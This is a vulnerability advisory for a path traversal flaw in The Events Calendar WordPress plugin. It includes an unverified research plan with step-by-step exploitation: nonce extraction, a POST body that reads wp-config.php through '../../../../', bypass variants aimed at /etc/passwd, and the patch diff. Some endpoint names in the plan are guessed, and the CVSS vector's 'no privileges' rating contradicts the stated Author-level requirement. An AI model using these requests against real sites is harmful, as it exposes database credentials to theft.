CVE-2026-3585

The Events Calendar <= 6.15.17 - Authenticated (Author+) Arbitrary File Read via ajax_create_import

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
6.15.17.1
Patched in
4d
Time to patch

Description

The The Events Calendar plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 6.15.17 via the 'ajax_create_import' function. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=6.15.17
PublishedMarch 9, 2026
Last updatedMarch 13, 2026
Affected pluginthe-events-calendar

What Changed in the Fix

Changes introduced in v6.15.17.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-3585 Path Traversal in The Events Calendar ## 1. Vulnerability Summary The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability via the `ajax_create_import` function (typically registered as the AJAX action `tribe_aggregator_create_import`)…

Show full research plan

Research Plan: CVE-2026-3585 Path Traversal in The Events Calendar

1. Vulnerability Summary

The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability via the ajax_create_import function (typically registered as the AJAX action tribe_aggregator_create_import). The vulnerability exists because the plugin fails to properly validate the file parameter when initiating a CSV import. This allows an attacker with at least Author-level permissions to provide a path to an arbitrary file on the server (e.g., wp-config.php), which the plugin then reads and returns the contents of as part of the "import preview" process.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tribe_aggregator_create_import (inferred from common plugin naming conventions for the ajax_create_import method)
  • Parameters:
    • action: tribe_aggregator_create_import
    • origin: csv
    • content_type: tribe_events
    • file: The traversal payload (e.g., ../../../../wp-config.php)
    • nonce: A valid nonce for the aggregator service.
  • Authentication: Authenticated (Author or above).
  • Preconditions: The "Event Aggregator" feature must be functional (included in the free version for CSV imports).

3. Code Flow

  1. Entry Point: The AJAX handler for tribe_aggregator_create_import is triggered.
  2. Controller: The ajax_create_import method (likely in Tribe__Events__Aggregator__Service or Tribe__Events__Aggregator__Controller) is called.
  3. Record Creation: It creates a new import record of type CSV, using Tribe__Events__Aggregator__Record__CSV.
  4. Meta Assignment: The file parameter from the request is stored in the record's metadata without sufficient sanitization against path traversal.
  5. Data Processing: The queue_import() method in src/Tribe/Aggregator/Record/CSV.php is called.
  6. File Reading: queue_import() calls get_csv_data().
  7. Sink: get_csv_data() calls get_file_path(), which retrieves the traversal path from meta. It then instantiates Tribe__Events__Importer__File_Reader( $file_path ).
  8. Output: The File_Reader opens the file, and do_import_preview() parses the lines of the target file (like wp-config.php) as CSV rows, returning them in the AJAX response.

4. Nonce Acquisition Strategy

The Aggregator nonces are typically localized in the WordPress admin area on the Events Import page.

  1. Identify Page: The Import page is located at /wp-admin/edit.php?post_type=tribe_events&page=aggregator.
  2. Access Page: Navigate to this URL as an Author user.
  3. Extract Nonce: The nonce is contained in the tribe_aggregator global JavaScript object.
  4. Script Variable: window.tribe_aggregator?.nonces?.create_import (inferred).

5. Exploitation Strategy

Step 1: Authenticate

Log in to the WordPress instance as a user with the Author role.

Step 2: Obtain Nonce

  1. Navigate to http://localhost:8080/wp-admin/edit.php?post_type=tribe_events&page=aggregator.
  2. Execute JS via browser_eval:
    window.tribe_aggregator.nonces.create_import
    

Step 3: Trigger Arbitrary File Read

Send a POST request to admin-ajax.php using the http_request tool.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=tribe_aggregator_create_import&origin=csv&content_type=tribe_events&file=../../../../wp-config.php&nonce=[NONCE_VALUE]
    

Step 4: Analyze Response

The response should be a JSON object containing a data key. Inside data.items, each element represents a "row" from the file. For wp-config.php, the content of the file will be mapped into the items array.

6. Test Data Setup

  1. Create an Author user: wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Ensure "The Events Calendar" is active: wp plugin activate the-events-calendar
  3. Ensure the wp-config.php file is in the standard location (4 directories up from the uploads folder where the plugin usually looks).

7. Expected Results

A successful exploit will return a JSON response similar to:

{
  "success": true,
  "data": {
    "import_id": 123,
    "items": [
      { "Unknown Column 1": "<?php" },
      { "Unknown Column 1": "/**" },
      { "Unknown Column 1": " * The base configuration for WordPress" },
      { "Unknown Column 1": " * ..." },
      { "Unknown Column 1": "define( 'DB_NAME', 'wordpress' );" }
    ],
    "columns": ["Unknown Column 1"]
  }
}

8. Verification Steps

  1. Use wp_cli to confirm the location of wp-config.php: ls -la /var/www/html/wp-config.php.
  2. Compare the output from the AJAX response with the actual content of wp-config.php.
  3. Check the wp_posts table for the created import record: wp post list --post_type=tribe_aggregator_record.

9. Alternative Approaches

If the file parameter requires a specific extension or if get_file_path() prepends a directory:

  • Null Byte: Try ../../../../wp-config.php%00.csv (if PHP version < 5.3.4, unlikely here).
  • Extension bypass: If the code checks for .csv, try ../../../../wp-config.php#.csv.
  • Absolute Path: Try /etc/passwd directly.
  • Record Retrieval: If the initial AJAX call only creates the record but doesn't return data, find the import_id and call the "preview" action: action=tribe_aggregator_get_preview&import_id=[ID]&nonce=[NONCE].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability through its Event Aggregator CSV import feature. Attackers with Author-level permissions can exploit this by providing a path to sensitive files (e.g., wp-config.php) in the 'file' parameter, which the plugin then reads and displays in the import preview response.

Vulnerable Code

// src/Tribe/Aggregator/Record/CSV.php:309
	/**
	 * Returns the path to the CSV file.
	 *
	 * @since 4.6.15
	 *
	 * @return bool|false|string Either the absolute path to the CSV file or `false` on failure.
	 */
	public function get_file_path() {
		if ( empty( $this->meta['file'] ) ) {
			return false;
		}

		$file_path = $this->meta['file'];

		if ( file_exists( $this->meta['file'] ) ) {
			$file_path = realpath( $this->meta['file'] );
		}

		return $file_path && file_exists( $file_path ) ? $file_path : false;
	}

---

// src/Tribe/Aggregator/Record/CSV.php:83
	public function get_csv_data() {
		if (
			empty( $this->meta['file'] )
			|| ! $file_path = $this->get_file_path()
		) {
			return $this->set_status_as_failed( tribe_error( 'core:aggregator:invalid-csv-file' ) );
		}

		$content_type = str_replace( 'tribe_', '', $this->meta['content_type'] );

		$file_reader = new Tribe__Events__Importer__File_Reader( $file_path );
		$importer    = Tribe__Events__Importer__File_Importer::get_importer( $content_type, $file_reader );

		$this->update_meta( 'source_name', basename( $file_path ) );

		$rows    = $importer->do_import_preview();

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.15.17/src/Tribe/Aggregator/Record/CSV.php	2025-05-13 13:28:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.15.17.1/src/Tribe/Aggregator/Record/CSV.php	2026-03-09 13:37:46.000000000 +0000
@@ -309,6 +309,7 @@
 	 * Returns the path to the CSV file.
 	 *
 	 * @since 4.6.15
+	 * @since 6.15.17.1 Strengthen file type and location checks during aggregator imports.
 	 *
 	 * @return bool|false|string Either the absolute path to the CSV file or `false` on failure.
 	 */
@@ -319,6 +320,21 @@
 			$file_path = realpath( $this->meta['file'] );
 		}
 
+		if ( $file_path ) {
+			// Only allow CSV files — reject any other extension to prevent file disclosure.
+			$filetype = wp_check_filetype( $file_path );
+			if ( empty( $filetype['ext'] ) || 'csv' !== strtolower( $filetype['ext'] ) ) {
+				return false;
+			}
+
+			// Restrict the file to the WordPress uploads directory to prevent path traversal.
+			$upload_info  = wp_upload_dir();
+			$uploads_base = realpath( $upload_info['basedir'] );
+			if ( false === $uploads_base || 0 !== strpos( $file_path, trailingslashit( $uploads_base ) ) ) {
+				return false;
+			}
+		}
+
 		return $file_path && file_exists( $file_path ) ? $file_path : false;
 	}

Exploit Outline

To exploit this vulnerability, an attacker with Author-level access must first obtain a valid nonce for the 'create_import' action, which is typically found in the global JavaScript object `tribe_aggregator.nonces.create_import` on the plugin's Aggregator page (/wp-admin/edit.php?post_type=tribe_events&page=aggregator). The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `tribe_aggregator_create_import`, `origin` set to `csv`, and the `file` parameter containing a path traversal string (e.g., `../../../../wp-config.php`). The plugin's AJAX handler processes the file path, and since the initial request triggers an import preview, it reads the content of the targeted file and returns it as a JSON object, where the lines of the file are parsed into the `items` array.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.